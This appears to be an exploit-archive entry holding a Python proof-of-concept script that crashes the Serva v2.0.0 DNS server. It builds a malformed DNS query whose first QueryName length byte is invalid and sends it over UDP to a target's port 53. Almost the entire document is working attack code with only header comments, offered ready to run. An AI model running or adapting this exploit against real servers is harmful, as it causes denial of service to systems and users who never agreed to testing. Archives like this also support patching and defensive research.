发布 2013-01-14 漏洞条目

Serva 2.0.0 – DNS Server QueryName Remote Denial of Service

Exploit Source

#!/usr/bin/python

# Exploit Title: Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability

# Version: v2.0.0

# Date: 2013-01-14

# Author: Julien Ahrens (@MrTuxracer)

# Homepage: www.inshell.net

# Software Link: http://www.vercot.com

# Tested on: Windows XP SP3 Professional German

# Notes: Malformed QueryName causes the crash

# Howto: -

import socket

target="192.168.0.1"

port=53

TransACTID="\x03\xc3"

Flags="\x01\x00"

QuestionRRC="\x00\x01"

AnswerRRC="\x00\x00"

AuthRRC="\x00\x00"

AddRRC="\x00\x00"

QueryName="\xFF\x69\x6e\x73\x68\x65\x6c\x6c\x03\x6e\x65\x74\x00" #vulnerable: first length-byte

QueryType="\x00\x01"

QueryClass="\x00\x01"

payload = TransACTID + Flags + QuestionRRC + AnswerRRC + AuthRRC + AddRRC + QueryName + QueryType + QueryClass

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) #udp

print "[*] Sending malformed request..."

s.sendto(payload,(target,port))

print "[!] Exploit has been sent!\n"

s.close()

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